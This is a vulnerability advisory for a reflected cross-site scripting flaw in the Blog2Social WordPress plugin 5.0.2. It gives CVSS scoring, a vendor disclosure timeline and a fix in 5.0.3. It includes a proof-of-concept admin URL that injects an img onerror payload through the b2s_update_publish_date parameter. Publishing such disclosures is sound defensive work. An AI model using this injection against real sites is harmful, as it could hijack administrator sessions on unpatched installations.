WordPress Blog2Social 5.0.2 Cross Site Scripting

` * Vulnerability: XSS  
* Affected Software:  
[Blog2Social](https://wordpress.org/plugins/blog2social/)  
* Affected Version: 5.0.2  
* Patched Version: 5.0.3  
* CVE: not requested  
* Risk: Medium  
* Vendor Contacted: 10/25/2018  
* Vendor Fix: 11/13/2018  
* Public Disclosure: 02/05/2019  
* Credit: Tim Coen  
  
##### CVSS  
  
6.1 Medium  
[CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)  
  
##### Overview  
  
The Blog2Social WordPress plugin is vulnerable to reflected XSS as it  
echoes the b2s_update_publish_date parameter without proper encoding.  
  
##### Proof of Concept  
  
  
http://192.168.0.103/wordpress/wp-admin/admin.php?page=blog2social-ship&postId=70&b2s_action=1&b2s_update_publish_date='"><img  
src=x onerror=alert(1)>  
  
##### Timeline  
  
- 10/25/2018 Sent advisory  
- 10/26/2018 Vendor confirms recipt of advisory  
- 11/13/2018 Vendor releases fix  
- 02/05/2019 Confirmed Fix & Disclosure  
  
##### Details & Full Advisory URL  
  
https://security-consulting.icu/blog/2019/02/wordpress-blog2social-xss/  
  
--   
PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0x204DCBDD29BA0D89  
  
  
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